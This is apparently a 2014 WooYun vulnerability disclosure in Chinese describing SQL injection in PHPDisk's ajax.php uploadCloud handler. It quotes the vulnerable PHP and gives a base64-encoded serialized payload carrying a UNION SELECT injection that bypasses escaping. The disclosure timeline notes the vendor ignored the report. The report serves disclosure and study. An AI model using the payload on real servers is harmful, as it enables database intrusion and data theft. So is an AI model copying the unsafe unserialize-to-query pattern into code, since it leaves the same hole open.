乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-04-13: 细节已通知厂商并且等待厂商处理中 2014-04-18: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-06-12: 细节向核心白帽子及相关领域专家公开 2014-06-22: 细节向普通白帽子公开 2014-07-02: 细节向实习白帽子公开 2014-07-09: 细节向公众公开
周末回家,挖洞玩玩。刚从官网上面下载的。过滤不严。
在ajax.php中
case 'uploadCloud': $folder_id = (int)gpc('folder_id','P',0); $folder_id = $folder_id ? $folder_id : -1; $data = trim(gpc('data','P','')); $is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1; if($settings['all_file_share']){ $in_share = 1; }else{ $in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'"); } if($data){ $file_key = random(8); if(strpos($data,',')!==false){ $add_sql = $msg = ''; $arr = explode(',',$data); for($i=0;$i<count($arr)-1;$i++){ $file = unserialize(base64_decode($arr[$i])); //print_r($file); //exit; $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg .= $file[file_name].$tmp_ext.','; }else{ $add_sql .= "($file[file_id],'$file[file_name]','$file_key','$file[file_extension]','application/octet-stream','$file[file_description]','$file[file_size]','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),"; } } if($add_sql){ $add_sql = is_utf8() ? $add_sql : iconv('utf-8','gbk',$add_sql); $add_sql = substr($add_sql,0,-1); $db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;"); } }else{ $file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
来利用下面的这个else里面的来注入把。
lse{ $file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
在这里 $data = trim(gpc('data','P','')); data是我们可控的。虽然全局转义 但是在这里会对他进行一次解码然后对他先解码一次 然后再反序列一次。$file[file_id]然后将这个就带入了查询当中、Come and sql it。
首先在本地对语句进行序列化 然后再encode一次 得到YToxOntzOjc6ImZpbGVfaWQiO3M6MTk6ImFhJyBVTklPTiBTRUxFQ1QgMSMiO30=这里我直接把语句输出来把。
$file = unserialize(base64_decode($data)); //write_file(PHPDISK_ROOT.'system/ax.txt',var_export($file,true),'ab'); //print_r($file); //exit; $sql="select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"; echo $sql;exit; $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
然后提交 得到。
看这语句。 不用多说了把。
过滤it.
危害等级:无影响厂商忽略
忽略时间:2014-07-09 18:11
暂无